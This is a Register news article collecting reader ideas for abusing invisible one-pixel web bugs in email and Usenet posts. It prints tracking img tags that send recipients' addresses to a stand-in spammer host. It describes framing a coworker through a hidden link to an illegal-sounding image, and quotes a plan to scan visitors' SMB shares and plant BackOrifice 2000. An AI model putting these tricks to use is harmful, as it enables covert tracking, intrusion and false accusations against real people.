Feeds

Fun with Internet bugs

How to get your boss sacked

  • alert
  • submit to reddit

Secure remote control for conventional and virtual desktops

In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs.

We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary.

First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >.

The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number.

For a somewhat more direct approach, a simple query can be employed thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/verifyme?r00tarded@luser.edu" > or perhaps < img src="http://www.dirtbag-spammer.org/web-bug.gif?address=r00tarded@luser.edu" >.

Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database.

Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so.

For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management.

Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web.

"By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes.

"Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money."

Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion:

"Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line."

Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ®

Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions.

Related Link

Further details from the Privacy Foundation

Secure remote control for conventional and virtual desktops

More from The Register

next story
Phones 4u slips into administration after EE cuts ties with Brit mobe retailer
More than 5,500 jobs could be axed if rescue mission fails
Israeli spies rebel over mass-snooping on innocent Palestinians
'Disciplinary treatment will be sharp and clear' vow spy-chiefs
Apple CEO Tim Cook: TV is TERRIBLE and stuck in the 1970s
The iKing thinks telly is far too fiddly and ugly – basically, iTunes
Huawei ditches new Windows Phone mobe plans, blames poor sales
Giganto mobe firm slams door shut on Microsoft. OH DEAR
Phones 4u website DIES as wounded mobe retailer struggles to stay above water
Founder blames 'ruthless network partners' for implosion
Found inside ISIS terror chap's laptop: CELINE DION tunes
REPORT: Stash of terrorist material found in Syria Dell box
Show us your Five-Eyes SECRETS says Privacy International
Refusal to disclose GCHQ canteen menus and prices triggers Euro Human Rights Court action
prev story

Whitepapers

Secure remote control for conventional and virtual desktops
Balancing user privacy and privileged access, in accordance with compliance frameworks and legislation. Evaluating any potential remote control choice.
Saudi Petroleum chooses Tegile storage solution
A storage solution that addresses company growth and performance for business-critical applications of caseware archive and search along with other key operational systems.
High Performance for All
While HPC is not new, it has traditionally been seen as a specialist area – is it now geared up to meet more mainstream requirements?
Security for virtualized datacentres
Legacy security solutions are inefficient due to the architectural differences between physical and virtual environments.
Providing a secure and efficient Helpdesk
A single remote control platform for user support is be key to providing an efficient helpdesk. Retain full control over the way in which screen and keystroke data is transmitted.